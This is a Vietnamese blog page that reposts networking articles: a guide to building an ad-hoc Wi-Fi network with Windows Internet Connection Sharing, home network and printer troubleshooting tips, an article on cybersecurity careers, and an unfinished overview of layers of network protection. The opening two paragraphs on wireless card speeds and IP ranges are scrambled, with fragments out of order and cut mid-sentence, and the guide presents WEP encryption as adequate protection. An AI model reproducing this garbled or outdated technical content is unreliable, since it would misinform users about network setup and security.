x vì dịch vụ chia sẻ Internet của Windows cũng sử dụng dải 192. Sự khác nhau chính giữa chúng là tốc độ: giao thức 802.x và khi đó bạn sẽ bị xung đột địa chỉ IP trong mạng của mình.0. Mặc dù vậy. giao thức này sẽ có tốc độ truyền tải lớn nhất lên đến 540MBps. Giao thức mới được phát hành là n. Ví dụ. Phân tích một chút cho các bạn dễ hiểu. Một mạng 11MBps sẽ làm việc tốt hơn cho bạn trong trường hợp này (nó sẽ nhanh hơn đến khoảng 11 lần cho kết nối Internet). các mạng ad-hoc cũng đơn giản không đáng tốn nhiều tiền. Có một số giao thức và phổ biến nhất là IEEE 802.11. Thậm chí nếu ngay cả sau những gì chúng tôi nói trên bạn vẫn quyết định .11g và 802. Công nghệ này cũng không làm việc trong các mạng ad-hoc.x thành 192. Nếu bạn thực sự muốn có một kết nối 54MBps (hoặc 108Mbps) thì nên thiết kế một mạng không dây có sử dụng router. Một số card mạng có tốc độ 108MBps.11b có thể truyền tải dữ liệu lên đến 11MBps. Theo lý thuyết kịch bản tốt nhất là phải có tất cả các máy tính đều sử dụng card 54MBps (hoặc 108MBps). tuy nhiên trong thực tế các card 54MBps lại đang sử dụng kỹ thuật nén dữ liệu và để chúng đạt được tốc độ này thì router băng thông rộng của bạn và card mạng được cài đặt trên máy tính cần phải có công nghệ này và phải được làm từ cùng một nhà máy sản xuất. còn g và a có thể truyền tải lên đến 54MBps (sự khác nhau giữa g và a chính là phổ tần số mà chúng hoạt động). đơn giản là vì tốc độ kết nối Internet của bạn sẽ thấp hơn rất nhiều. nghĩa là các mạng không sử dụng router băng thông rộng. việc mua card 54MBps là không sáng suốt. Cũng vậy.168. Các card mạng này phải tương thích với ít nhất một giao thức IEEE 802. Cấu hình này được thực hiện bằng cách vào chương trình cài đặt của router (thường mở http://192.1.168.168.0. ngược lại chúng sẽ không làm việc như card b. g và a thông thường. bạn sẽ bị hạn chế bởi tốc độ kết nối mạng của mình.11b.1 từ bất kỳ một máy tính nào được kết nối với nó). 802. Chính vì vậy bạn có thể giảm được chi phí bằng cách mua card 11MBps – chúng có làm việc tốt hơn với những người dùng trung bình.0.11a. Card mạng không dây Như những gì chúng tôi đã đề cập.168. nếu bạn có một kết nối 1MBps thì sẽ có một mạng có khả năng truyền tải dữ liệu nhanh gấp 54 lần so với kết nối Internet. bạn cần phải mua một card mạng không dây cho mỗi máy tính muốn kết nối với mạng. Chính vì vậy bạn không sử dụng mạng của mình cho việc truyền tải file giữa các máy tính. nếu bạn có một kết nối Internet 1MBps hoặc 2MBps thì bạn vẫn phải dừng lại ở tốc độ đó dù có sử dụng card không dây 11MBps hay 54MBps đi chăng nữa.băng thông rộng được cài đặt trong mạng: bạn cần phải thay đổi dải địa chỉ IP của mạng nếu nó đã được cấu hình sử dụng dải 192.

Cài đặt card mạng không dây vào các máy tính sẽ được kết nối với mạng không dây.x thành . Thông thường nó rất đơn giản: chỉ cần kết nối thiết bị với máy tính (nếu cài đặt một card PCI trên máy desktop thì bạn cần tắt máy và mở case). Hình 1: Card mạng không dây PCI add-on Hình 2: Card mạng không dây USB Hình 3: Card mạng không dây PC Card Việc cài đặt card này cần phải được thực hiện theo hướng dẫn sử dụng của card.11b. bật máy trở lại và cài đặt driver của card.0. Với card PCI như thể hiện trong hình 1 (một card D-Link DWL-G510). Cũng là một ý tưởng tốt nếu bạn mua tất cả các card đều có cùng chuẩn 54MBps (a hoặc g). Nếu laptop của bạn không có card mạng không dây đi kèm thì cần phải kiểm tra xem nó có khe cắm mở rộng hay không (PC Card hoặc Express Card) và mua một card không dây add-on cho nó (PC Card có thể là một lựa chọn sáng suốt vì các slot của Express Card cũng chấp nhận các thiết bị này).mua một card mạng không dây 54MBps. Trong hình 1 bạn có thể thấy một card mạng không dây loại PCI add-on cho các máy desktop. vì nhờ đó bạn có thể xây dựng một mạng không dây mà không cần sử dụng router. Nếu bạn muốn chia sẻ kết nối Internet của mình bằng một router băng thông rộng thông thường (nghĩa là không có khả năng không dây) thì bất kỳ máy tính nào đã được kết nối với router đều có thể được cấu hình là máy chủ. Thông thường card add-on chạy ổn định hơn. Card add-on cho các máy tính desktop được cung cấp cho slot PCI (có thể cho slot PCI Express x1 trong tương lai) và card add-on của các máy tính laptops được cung cấp cho slot PC Card (PCMCIA) hoặc slot Express Card. nghĩa là máy tính có kết nối băng thông rộng. thì phải bảo đảm rằng card mạng này phải tương thích với chuẩn 802. Bước tiếp theo là cấu hình máy chủ.168. Trong trường hợp này bạn chỉ cần nhớ rằng: cần thay đổi dải địa chỉ IP của mạng nếu nó đã được cấu hình sử dụng dải 192. vì các mạng ad-hoc chỉ làm việc ở tốc độ 11MBps. chúng tôi cần phải cài đặt driver trước khi lắp đặt card vào máy tính. Có hai kiểu card mạng không dây hiện có trên thị trường: USB và add-on. phòng khi trong tương lai bạn quyết định nâng cấp mạng bằng cách cài đặt một router không dây thì tất cả các card này đều có thể đáp ứng được khả năng truyền tải 54MBps. trong hình 2 là một card mạng không dây USB có thể sử dụng cho các máy desktop và laptop. còn trong hình 3 là một card mạng không dây PC Card add-on cho các máy laptop.

x và khi đó bạn sẽ bị xung đột các địa chỉ IP trong mạng của mình. * Network Authentication: Open. Kích vào nút Advanced và cửa sổ như trong hình 6 sẽ xuất hiện. Bảo đảm rằng không có mạng không dây nào được liệt kê dưới Preferred Networks. Như những gì chúng tôi đã đề cập. . Hình 6: Cấu hình mạng theo kiểu ad-hoc 4. hãy lần lượt xóa chúng đi.x vì dịch vụ chia sẻ Internet của Windows sử dụng dải 192. Hình 5: Cấu hình mạng không dây 3. Hình 4: Chọn thuộc tính của kết nối không dây 2. Trong trường hợp của này. nghĩa là máy tính có kết nối băng thông rộng. Trong cửa sổ xuất hiện.192.1 từ bất kỳ máy tính nào đã đựợc kết nối tới nó).0. chúng tôi gọi nó là “MyHome”.0. Cấu hình này được thực hiện bằng cách vào chương trình cài đặt của router (thông thường là mở http://192. Bạn cần phải điền vào đó một số thứ dưới đây: Hình 7: Tạo mạng không dây riêng * Network Name (SSID): Đây sẽ là tên mạng của bạn. Cấu hình máy chủ Bạn cần cấu hình máy chủ. kích vào tab Wireless Networks (xem trong hình 5). Chọn “Computer-to-computer (ad-hoc) networks only” và kích Close. Kích chuột phải vào kết nối không dây (thường vẫn được gọi là “Wireless Network Connection”) và chọn Properties. Thực hiện theo hướng dẫn tường bước dưới đây: 1. Vào Start > Control Panel > Network Connections. Cửa sổ thể hiện trong hình 5 sẽ hiện lại một lần nữa.168.168. Nếu bạn thấy có mạng nào ở đây.1. nếu bạn tắt máy chủ thì tất cả các máy tính sẽ mất truy cập vào Internet. Đây là cách các máy tính sẽ gọi mạng.168. Lúc này kích vào Add và cửa sổ mới sẽ xuất hiện như trong hình 7.

nếu tính năng chia sẻ file được kích hoạt trong mạng.* Data encryption: WEP. bạn kích tab Advanced. Trong cửa sổ Properties. bạn chỉ cần theo các bước dưới đây: . Nó sẽ chỉ thay đổi thành “Connected” sau khi có một máy tính nào đó đã nhập vào mạng. Cấu hình này rất đơn giản. Hình 9: Chia sẻ kết nối Internet 7. đây là điều hết sức bình thường và bạn không phải lo lắng nhiều. không vấn đề gì cả. Kết nối không dây của bạn sẽ vẫn có chữ “Not Connected”. Lúc này máy chủ đã được cấu hình đúng. ngăn chặn hàng xóm lướt Web “chùa” và cũng ngăn chặn người khác xem hoặc xóa các file của bạn. Vào Network Connections (Start > Control Panel). Hình 8: Mạng đã được liệt kê 6. Cấu hình các máy tính khác Bạn đã cấu hình xong máy chủ. * Hủy chọn “The key is provided for me automatically” * Cấu hình khóa bảo vệ. Đây là mật khẩu sẽ được sử dụng để mã hóa dữ liệu truyền tải trong mạng. bạn sẽ thấy mạng vừa tạo xuất hiện dưới Preferred Networks. như trong hình 9. xem trong hình 10. Lúc này bạn cần chia sẻ kết nối Internet. 5. xem trong hình 8. bạn cần cấu hình các máy tính khác truy cập vào mạng không dây. đây là lúc bạn cần phải cấu hình các máy tính khác cần truy cập vào mạng không dây. Hình 10: Kết nối Internet đã được chia sẻ 8. không phải card mạng không dây. Ở tab này. kích chuột phải vào card mạng đang kết nối Internet băng thông rộng và sau đó chọn Properties. Mạng lúc này vẫn bị liệt kê với một chữ “x” đỏ. Kích OK và lúc này bạn sẽ nhìn thấy từ “Shared” nằm dưới tên của kết nối mạng Internet băng thông rộng (thường được gọi là “Local Area Connection”). bạn tích vào hộp “Allow other network users to connect thru this computer’s Internet connection” và hủy chọn hộp “Allow other network users to control or disable the shared Internet connection”. Hãy chú ý vì điều này được thực hiện trên card mạng có Internet băng thông rộng đã kết nối. Sau khi kích OK.

Hình 14: Kết nối không dây của máy tính chủ xuất hiện “Connected”. Tất cả những gì bạn cần thực hiện là kích vào mạng của mình (trong trường hợp ví dụ này là MyHome). Lúc này trên máy chủ kết nối không dây sẽ xuất hiện với dòng chữ “connected”. chọn Properties. bạn có thể xem trong hình 13. Để ngăn chặn các vấn đề không ổn định của mạng không dây. Như những gì chúng tôi đã nói từ trước. 14. Như những gì thấy trong hình 11. trạng thái mạng sẽ được liệt kê “Acquiring Network Address” và sau đó sẽ thay đổi thành “Connected”. Nếu bạn đã cấu hình đúng máy chủ thì mạng không dây sẽ được liệt kê trong danh sách mạng tất cả các máy tính có card mạng không dây bên trong dải của card đã được cài đặt trên máy chủ. .9. Bạn có thể thực hiện bằng cách kích chuột phải vào kết nối không dây trong Network Connections (Start > Control Panel). khi cửa sổ Properties xuất hiện. Chỉ cần kích vào biểu tượng mạng không dây có trên task bar và kích đúp vào kết nối không dây của bạn trong Network Connections (Start > Control Panel) để xem danh sách các mạng không dây đang có. Xóa tất cả các mạng khác đã liệt kê trong Preferred Networks trừ mạng của bạn. chúng tôi khuyên bạn xóa tất cả các mạng khác xuất hiện trong danh sách Preferred Networks trên tất cả các máy tính. bạn kích tab Wireless Networks. chúng ta có một số mạng không dây (tất cả đều là hàng xóm của mình. xem trong hình 14. Hình 13: Lúc này bạn đã kết nối vào mạng 12. Sau khi kích đúp vào mạng của bạn. Sau khi kích OK. xem hình 12: Hình 12: Nhập khóa mật khẩu (password) để truy cập vào mạng không dây 11. xem trong hình 15. Kiểm tra mạng bằng cách mở trình duyệt web (Internet Explorer hoặc Firefox) và nhập vào đó một địa chỉ web mà bạn đã biết. Hình 11: Danh sách các mạng không dây 10. Windows sẽ hỏi mật khẩu mạng (mật khẩu mà chúng ta đã cấu hình trong bước 4). Sau đây bạn có thể truy cập vào Internet bằng kết nối Internet có sẵn trong máy chủ. 13. như vậy vấn đề mã hóa ở đây là rất quan trọng). kết nối không dây trên máy chủ sẽ xuất hiện “connected” chỉ khi có một máy tính khác đã kết nối vào mạng.

Kích Fixing a problem và sau đó Networking Problems. Nếu hoạt động đó không giúp gì được thì bạn hãy kiểm tra tường lửa.php?name=News&op=viewst&sid=5504 Được đăng bởi haodalat tại 9:10 SA 0 nhận xét Nhãn: co ban ve Mang may tinh. Nếu các máy tính vẫn không nhìn thấy nhau thì nguyên nhân không phải là do tường lửa. Sau đó tắt tường lửa của mỗi máy tính. WIRELESS Khắc phục các sự cố mạng đơn giản trong gia đình Wi-Fi kết nối quá chậm hoặc không thể kết nối. Chú ý: Để an toàn. sau đó là Troubleshoot problems finding computers on a home network.com ( Theo Hardwaresecrets . máy in không thể chia sẻ -chúng tôi sẽ hướng dẫn bạn những thao tác cơ bản để khắc phục các vấn đề như vậy. Các firewall máy tính của hãng thứ ba như ZoneAlarm và Norton Internet Security thường khóa các mạng nội bộ. TheWall . kích Troubleshooting. Thứ tuyệt vời nhất về việc chia sẻ là các file và máy in mà bạn muốn chia sẻ không cần đặt trên máy chủ. Trong XP. Trong Vista bạn chọn Start > Help and Support.com/news/modules. NETWORK. bạn chọn Start > Help and Support. Hãy bắt đầu công việc khắc phục tình huống này bằng tiện ích khắc phục sự cố mạng của Windows – nó không những có khả năng trợ giúp mà còn có thể thực hiện nhanh chóng và dễ dàng.QTM ) http://vietcntt. chúng có thể được đặt ở bất kỳ máy tính nào trong mạng (tuy nhiên nếu bạn chia sẻ một máy in thì chúng tôi khuyên bạn nên kết nối máy in với máy chủ vì máy tính này sẽ luôn được bật). MCSA. Tại sao các máy tính của tôi không thể nhìn thấy nhau trên mạng mặc dù tất cả đều có thể truy cập internet? Do tất cả các máy tính của bạn đều có thể truy cập Internet nên chúng ta có thể thừa nhận rằng bạn không gặp các vấn đề nào về phần cứng mạng. Lúc này bạn có thể chia sẻ kết nối Internet giữa các máy tính và cũng có thể cấu hình mạng của mình để chia sẻ máy in và file. . Trong cả hai phiên bản Windows. wifi. bạn hãy bắt đầu bằng cách hủy kết nối kết nối internet thông qua việc tắt thiết bị DSL hoặc modem hoặc tháo cáp kết nối modem với router.VietCNTT.Hình 15: Xóa tất cả các mạng khác và chỉ để lại mạng của chính bạn 15.

Bạn hãy thử bật lại tường lửa của một máy. Vấn đề như vậy có xuất hiện trở lại không? Hãy kiểm tra các thiết lập tường lửa của máy tính và tài liệu để xem cách khắc phục nào khác. Bạn có thể phải add các máy tính khác còn lại vào "Trusted Zone" hoặc một vài nhóm như vậy. Lặp lại quá trình này với mỗi máy tính. Không kết nối lại với Internet cho tới khi tất cả tường lửa được backup và làm việc. Đây là một số bước cần thiết để khắc phục sự cố các vấn đề tiềm ẩn khác. Làm cho tất cả các máy tính của bạn nằm trong cùng một nhóm làm việc: Nhấn Windows-R, đánh sysdm.cpl, và nhấn Enter (nếu là XP, bạn hãy kích Start > Run, đánh sysdm.cpl, và nhấn Enter; hoặc trong Vista kích Start, đánh sysdm.cpl, và nhấn Enter). Kích chọn tab Computer Name. Nếu tên nhóm làm việc (workgroup) ở đây không phù hợp với tên workgroup được liệt kê trên các máy tính khác hãy kích Change. Kích hoạt tính năng chia sẻ. Nhấn Windows-R (hoặc sử dụng phương pháp này cho XP còn Vista sử đã được đề cập ở trên), đánh vào đó ncpa.cpl, và nhấn Enter. Kích chuột phải vào kết nối mạng thích hợp, chọn Properties. Nếu tùy chọn File and Printer Sharing for Microsoft Networks không được chọn thì hãy đánh dấu để chọn nó. Nếu bạn sử dụng Vista, cần phải chọn Start > Network, kích Network and Sharing Center. Ở đây bạn có thể tinh chỉnh các thiết lập chia sẻ file của mình. Chia sẻ một thư mục: Trong Windows Explorer của XP, bạn vào thư mục muốn chia sẻ. Nếu biểu tượng của thư mục không có hình bàn tay nhỏ thì hãy kích chuột phải vào nó, chọn Sharing and Security. Trong tab Sharing của hộp thoại mở ra, bạn tích vào hộp kiểm Folder on the network, và hoàn tất các tùy chọn khác. Nếu hệ điều hành của bạn là Vista, biểu tượng thư mục có một bức tranh nhỏ hai người. Nếu không có, nghĩa là thư mục đó chưa được chia sẻ, bạn hãy kích chuột phải vào nó và chọn Share. Trong hộp thoại mới xuất hiện, đánh everyone vào trường văn bản, kích Add và điều chỉnh mức cho phép của bạn (nếu muốn) và kích Share. Nếu các máy tính vẫn không nhìn thấy nhau, lần này bạn hãy nhấn WindowsR, đánh vào đó đường dẫn mạng của máy tính khác và nhấn Enter. Đường dẫn mạng là hai dấu sổ chéo và tên của máy tính trong mạng, ví dụ như chris chẳng hạn.

Nếu bước này thành công, bạn có thể bản đồ hóa các máy tính như như một ổ đĩa mạng hoặc tạo một đường tắt cho nó. Cách chia sẻ máy in trong mạng Thực sự có đến 3 cách để thực hiện điều này. Chúng tay hãy bắt đầu với cách hoàn toàn miễn phí. Bạn có thể kết nối dễ dàng máy in với một máy tính và chia sẻ nó với các máy tính khác mà không mất thêm một xu nào. Tuy nhiên có một điểm yếu là bạn không thể in từ những máy tính xa cả về khoảng cách mà chỉ từ máy được lắp trực tiếp. Nếu bạn hoàn toàn thỏa mãn với điều kiện đó, hãy theo tài liệu hướng dẫn của máy in để cài đặt nó trên máy tính đã chọn. Sau đó trong Printers and Faxes của Control Panel, bạn kích chuột phải và chọn Sharing, tích vào hộp kiểm Share this pritner và kích OK để chấp nhận các thiết lập chia sẻ mặc định đối với máy in. Trên các máy tính khác, bạn mở Printers and Faxes của Control Panel và kích Add a printer. Trong cửa sổ mới xuất hiện, chọn tùy chọn network. Nó sẽ tìm máy in và đưa bạn đến những công việc cài đặt còn lại. Trên máy tính từ xa, chọn Add a network, wireless or Bluetooth printer để duyệt tới một máy in được chia sẻ từ máy tính khác Nếu bỏ đi một máy tính kết nối chỉ để làm thao tác này và gây tốn thời gian thì bạn nên xem xét đến giải pháp mua một máy chủ in nhỏ (print server). Giá thành khoảng 50 USD hoặc ít hơn, máy chủ in mini là một hộp nhỏ (thường nhỏ hơn cả adapter AC của chính nó) với một cổng USB hoặc cổng song song ở phía cuối và Wi-Fi hoặc ethernet ở đầu kia. Bạn cắm nó vào máy in và mạng, cài đặt driver trên tất cả các máy tính khác, khi đó mọi người đều có thể thực hiện thao tác in ấn. Có nhiều thứ không thực sự đơn giản với giao diện USB. Nếu máy in của bạn thiếu giao diện song song thì sẽ phải tìm một máy in có giao diện USB. Bạn có thể tìm kiếm thêm thông tin model của máy in thông qua search engine với chuỗi từ khoá tìm kiếm là print server. Tiếp sau đó bạn có thể chọn hãng máy in và xem xem máy chủ nào được khuyến khích nên dùng. Việc sử dụng máy chủ in có thể gây ra vấn đề là máy đó luôn luôn phải được bật. Nếu các vấn đề này đều không chấp nhận được hoặc nếu máy in của bạn

thiếu cổng song song và không thể tìm ra máy chủ USB thích hợp, thì bạn có thể phải chấp nhận hoàn cảnh là sử dụng một máy đã được kết nối, bật liên tục và đây cũng là tùy chọn tốn kém nhất: mua một máy in có khả năng kết nối mạng. Một máy in được trang bị ethernet hoặc Wi-Fi sẽ là giải pháp đơn giản nhất và linh hoạt nhất, nhưng dù sao đi chăng nữa bạn cũng cần đặt ra câu hỏi liệu có cần đến một máy in mới không. Chỉ cần lưu ý khả năng kết nối mạng trong đầu, bạn hãy đi “shopping” để tìm kiếm lấy một máy in mới. Các máy in có khả năng kết nối mạng hiện được bán trên thị trường với nhiều mức giá khác nhau. Tại sao tốc độ không dây của tôi lại thay đổi quá nhanh và tại sao sự thay đổi này lại dường như ảnh hưởng tới hiệu suất Internet? Nếu bạn đã từng nghe đài trong khi ngồi trong xe car và chạy bên trong một đường hầm dài, bạn sẽ thấy rằng sự thay đổi của môi trường sẽ ảnh hưởng đến tín hiệu không dây như thế nào. Ở đây cũng vậy với tín hiệu không dây của bạn vì trong nhà bạn đôi khi ai đó có thể văn to lò vi sóng, sóng Wi-Fi của hàng xóm,…. Một thứ khác nữa đó là hiện tượng xuyên nhiễu – nếu nó không làm mất toàn bộ cường độ tín hiệu của bạn thì cũng làm cho kết nối mạng của bạn bị chậm đi nhiều. Chính vì vậy không nên ngạc nhiên về tín hiệu Wi-Fi của bạn lại chậm và hay thay đổi như vậy. TheWall - VietCNTT.com ( Theo PC World - QTM ) http://vietcntt.com/news/modules.php?name=News&op=viewst&sid=5745 Được đăng bởi haodalat tại 9:04 SA 0 nhận xét Nhãn: NETWORK, wifi, WIRELESS

An ninh mạng: nghề có thu nhập cao!

Khi những giao dịch qua mạng như thương mại điện tử, thị trường chứng khoán, ngân hàng... ngày càng phát triển thì vấn đề chống hacker xâm nhập làm đều phi pháp được đặt ra và có tính sống còn. Chính vì vậy mà các chuyên viên về an ninh mạng không thiếu đất dụng võ và được trả lương cao... Sau khi học xong chương trình quản trị mạng, bạn đã có thể điều khiển, vận hành một hệ thống mạng của một doanh nghiệp với mức lương hàng tháng khoảng từ 2 - 3 triệu đồng. Nếu hệ thống mạng vận hành trơn tru và không bị người khác nhòm ngó, công việc của bạn có thể sẽ rất nhàn rỗi. Ngược lại, bạn phải tiếp tục nâng cao kiến thức quản trị mạng và bổ sung thêm kiến thức an ninh mạng để chống chọi với những xâm nhập trái phép vào mạng, đưa ra những cảnh báo cần thiết và kịp thời nhằm bảo toàn thông tin của

doanh nghiệp, tất nhiên mức lương lúc đó của bạn cũng phải tăng lên mức tối thiểu là khoảng 5 triệu đồng. Xu hướng an ninh mạng đang được đánh thức Với nền tảng mạng LAN, chất lượng và tốc độ Internet đã tương đối ổn định như hiện nay, nhiều doanh nghiệp không còn lo lắng về tính ổn định của mạng nữa mà chuyển sang lo sợ về sự thất thoát dữ liệu. Điều này chẳng khác nào nhu cầu đời sống của con người hiện nay, chuyển từ “ăn no, mặc ấm” sang “ăn ngon, mặc đẹp”. Chính vì lẽ đó, nhiều doanh nghiệp đã bắt đầu đề cao vấn đề an ninh hệ thống khi tuyển nhân viên IT (tin học), hoặc thuê nhân viên bảo mật, hợp đồng với các doanh nghiệp chuyên về bảo mật trong việc kiểm tra hệ thống. Một số hacker và các chuyên gia an ninh mạng ở Việt Nam cho biết, nhờ tìm hiểu và theo dõi các sự cố về mạng xảy ra ở các sàn giao dịch chứng khoán trong thời gian qua, nhiều người dùng và các doanh nghiệp đã thấy được tầm quan trọng của an ninh mạng trong đơn vị của họ. Nếu trước đây, hacker dễ dàng xâm nhập vào website, email, mạng LAN, máy tính laptop qua kết nối wifi... để lấy cắp thông tin thì giờ đây, những hành động này có vẻ khó khăn hơn. Chuẩn nào cho an ninh mạng? Hiện nay trên thế giới có 3 chuẩn an ninh mạng được nhiều người nhắc đến, đó là: CEH (EC-Council), CISSP, CompTIA. Trong đó, chuẩn CEH nổi trội hơn 2 chuẩn còn lại. Qua việc khảo sát các trung tâm đào tạo an ninh mạng ở Việt Nam, chúng tôi nhận thấy đa số đều thiết kế chương trình học theo chuẩn này. Tuy nhiên, chương trình đào tạo thì chẳng nơi nào giống nhau; một số nơi hợp tác với tổ chức CEH để cấp bằng cho người học nhằm thể hiện đẳng cấp quốc tế, cũng như giúp người học tự tin hơn về chứng nhận an ninh mạng đạt được. An ninh mạng được xếp vào cấp cao hơn quản trị mạng, do vậy muốn tham gia vào các chương trình học này, học viên phải hoàn thành các chứng chỉ về mạng như MCSA của Micriosft, CCNA của Cisco... rồi kinh nghiệm trong việc quản trị mạng và bảo mật hệ thống. Đồng thời học viên phải có kiến thức lập trình web (ASP, PHP), C, Visual Basic (VB), cở sở dữ liệu (database)... để biết cách đọc và phân tích các mã lệnh có trong virus, trojan, đoạn chương trình thu thập được khi hệ thống mạng xảy ra sự cố, cũng như dùng kiến thức này để sửa lệnh và viết những chương trình nhỏ phục vụ cho việc bảo mật mạng. Thời gian học cho nhóm đối tượng này thường rất ngắn, khoảng từ 100 giờ đến 3 tháng và mức học phí cũng cao hơn so với học quản trị mạng. Khi học an ninh mạng, kiến thức về khai thác lỗ hổng bảo mật trong mạng và các chương trình phần mềm sẽ được nâng lên gấp bội. Tuy nhiên, các kiến

thức này như là con dao 2 lưỡi; bởi nếu là những người không có lương tâm và không nhận thức được những hậu quả có thể xảy ra, họ sẽ trở thành những kẻ phá hoại (thường gọi là hacker, hay là hacker mũ đen). Nhưng cũng với ngần ấy kiến thức, những người tốt (thường gọi hacker mũ trắng, nhân viên an ninh mạng...) sẽ dùng vào việc kiểm tra, đánh giá tính an toàn của hệ thống mạng và thực hiện các biện pháp ngăn chặn. Một số kỹ thuật trong an ninh mạng Để dựng được hệ thống mạng đảm bảo an ninh, bạn phải nắm được các cách thức thường dùng của hacker, từ đó phán đoán và trám những lỗ hổng đang tồn tại. Xuất phát từ quan điểm này, hiện nay các trung tâm đào tạo an ninh mạng thường dạy học viên cách khai thác lỗ hổng theo mức độ từ dễ đến khó, đồng thời phân tích và đưa ra hướng ngăn chặn. Kỹ thuật đầu tiên là chuỗi các cách thu thập thông tin của đối tượng, từ trực tiếp đến gián tiếp, giả mạo thông tin, che giấu thông tin, nhận dạng kiểu thông tin qua việc quét hệ thống bằng dòng lệnh hoặc các công cụ. Song song với việc dùng kỹ thuật là việc phỏng đoán thông tin của hệ thống, người quản trị hệ thống để dò tìm password quản trị. Ở mức cao hơn, thiết lập việc nghe lén thông tin truyền tải trong mạng (sniffer); cài virus, trojan, backdoor... thu thập thông tin; tạo các trang web giả mạo lừa người dùng để lấy tài khoản email, ngân hàng... Tiếp đến là khai thác các máy chủ (server), các chương trình tạo web server và cơ sở dữ liệu, kiểu tấn cổng DoS... Chính vì những kỹ thuật không rõ ràng giữa phá hoại và kiểm tra này mà một số trung tâm đào tạo an ninh mạng đưa vào phần phổ biến các điều trong bộ luật của Nhà nước đối với các hành vi phá hoại, xâm nhập hệ thống mạng trái phép. TheWall - VietCNTT.com ( Theo KHPT ) http://vietcntt.com/news/modules.php?name=News&op=viewst&sid=5723 Được đăng bởi haodalat tại 8:10 SA 0 nhận xét Nhãn: MCSA

20-04-2008

AN NINH MẠNG VÀ MỘT SỐ LƯU Ý TRONG QUẢN TRỊ MẠNG MÁY TÍNH
Mạng máy tính truyền thông (Broadcasting Networks) nói riêng và các hạ tầng kỹ thuật tin học nói chung đang ngày càng trở nên quen thuộc và đóng vai trò ngày một lớn trong cuộc sống hàng ngày, tuy nhiên chúng cũng đem lại cho chúng ta những vấn đề nhạy cảm mới: vấn đề Bảo mật thông tin và An ninh hệ thống trong vận hành. 1. An ninh mạng máy tính.

Do đặc điểm có nhiều người sử dụng phân tán trong một khu vực nhất định, nên việc bảo vệ các tài nguyên mạng khó tránh khỏi sự mất mát, xâm phạm (vô tình hay cố ý). Vì vậy khi vận hành một mạng máy tính, vấn đề bảo mật thông tin và an ninh hệ thống luôn là mối quan tâm hàng đầu của những người làm công tác quản trị mạng. Thông thường an ninh mạng được bảo đảm nhờ sử dụng 5 lớp bảo vệ như sau (Hình 1). Hình 1: Các lớp bảo vệ tài nguyên trong mạng máy tính Lớp 1: Quyền truy nhập là lớp bảo vệ trong cùng nhằm kiểm soát các tài nguyên (thông tin) mạng và cho phép thực hiện các quyền sử dụng và xử lý các tài nguyên đó. Việc kiểm soát trong trường hợp này thường thực hiện dưới dạng các files; Lớp 2: Đăng ký tên / mật khẩu (login/password) là lớp bảo vệ tiếp theo, kiểm soát quyền truy nhập ở mức hệ thống (quyền truy nhập vào mạng). Lớp 3: Mã hoá để mã hoá dữ liệu theo một thuật toán nào đó nhằm bảo mật thông tin truyền trên mạng. Tại nơi nhận thông tin sẽ được giải mã trở lại dạng tường minh. Lớp 4: Bảo vệ vật lý ngăn cản các truy nhập vật lý bất hợp pháp vào hệ thống như cấm người không phận sự vào khu vực đặt máy mạng, dùng ổ khoá máy tính, cài cơ chế báo động khi có truy nhập vào hệ thống, ngắt nguồn điện đến màn hình và bàn phím… Lớp 5: Sử dụng hệ thống tường lửa Firewall. Tường lửa là "màn chắn" điều khiển luồng lưu thông giữa các mạng (thường là giữa hệ thống mạng cần được bảo vệ và Internet, giữa các mạng con trong một tổ chức…), nhằm bảo vệ hệ thống mạng riêng, ngăn chặn các thâm nhập trái phép, lọc bỏ các gói tin không muốn gửi hoặc nhận… Thực tế vận hành hệ thống mạng LAN tại khu vực Giảng võ (Đài THVN) trong thời gian qua cho thấy, để đảm bảo an ninh hệ thống, người quản trị mạng cần biết kết hợp một cách hợp lý cả 5 lớp bảo vệ trên, phát huy thế mạnh của từng lớp bảo vệ trong từng thời điểm, tại mỗi phạm vi không gian thích hợp. Việc ỷ lại vào thiết bị (tường lửa) hay nhấn mạnh thái quá vấn đề an ninh hệ thống sẽ vô tình tạo ra những rào cản không đáng có trong khai thác sử dụng thiết bị và đôi khi khó khả thi về mặt kinh tế. Những nguy cơ tiềm ẩn trong cuộc sống thường ngày hàng đối với vấn đề bảo mật và an ninh hệ thống máy tính bao gồm: 1. Trước hết, nguy cơ dễ thấy nhất là ai đó (vô tình hay cố ý) sử dụng máy tính cá nhân khi chưa có sự đồng ý của bạn. Nguy cơ này có thể dễ dàng

khắc phục khi sử dụng các phương pháp bảo mật được cung cấp kèm với máy tính. Đa số các máy tính hiện nay có mật khẩu khởi động (power-on passwords). Ngoài ra cũng có thể sử dụng phương pháp thiết lập mật khẩu được gắn kèm trong hệ thống điều hành (Windows…); 2. Tiếp theo, nguy cơ khó thấy hơn là ai đó ăn trộm mật khẩu để truy cập vào máy tính hay mạng máy tính chứa những thông tin bí mật. Những mật khẩu này có thể được sử dụng từ một máy tính bất kỳ (bên trong hay bên ngoài mạng của bạn). Để tránh việc dễ dàng phỏng đoán ra mật khẩu, nên tránh sử dụng mật khẩu là các ngày sinh nhật, tên của những người thân hay các con vật nuôi… Để làm cho mật khẩu trở nên khó đoán, nên sử dụng mật khẩu kết hợp cả những dấu chấm và những con số. Phương án tốt nhất là sử dụng một ngôn ngữ nước ngoài (không phải tiếng Anh càng tốt) để làm mật khẩu; 3. Các virus là nguy cơ thường trực nhất hiện nay. Virus là chương trình máy tính được thiết kế với mục đích phá hoại (hay đơn giản chỉ là đùa nghịch), có thể tự nhân bản và lây lan bằng cách gắn vào các chương trình khác, kể cả phần mềm điều hành hệ thống. Giống như virus ở người, tác hại của virus máy tính có thể chưa phát hiện được trong thời gian vài ngày hay vài tuần. Khi phát tác, các virus gây ra nhiều hậu quả: từ những thông báo linh tinh đến những tác động làm mất khả năng điều hành hệ thống, xóa mọi dữ liệu trên đĩa cứng, thậm chí gửi những dữ liệu này cho chủ sử dụng chúng. Thời gian trước đây thông thường đĩa mềm là phương tiện chủ yếu để lan truyền virus. Ngày nay do việc chuyển các file qua mạng được sử dụng rộng rãi, nên virus đã thay đổi chiến lược lan truyền. Hầu hết các virus hiện lan truyền qua các file gửi kèm theo thư điện tử hay được nhúng trong các phần mềm hay tài liệu trên mạng Internet. Một số khác còn có khả năng tự lan nhiễm bằng cách gửi tự động thư đến các địa chỉ lưu trong Address Book của máy tính bị nhiễm. Để đề phòng nguy cơ này, bạn không nên mở các files gửi kèm thư điện tử từ những người không quen biết và nói chung, cần thận trọng khi mở các file gửi kèm thư điện tử, đặc biệt là các file có thể tự kích hoạt (các file với đuôi *.exe, *.com, *.asp, …). Phương pháp tốt nhất tự vệ chống lại các virus là chủ động cung cấp 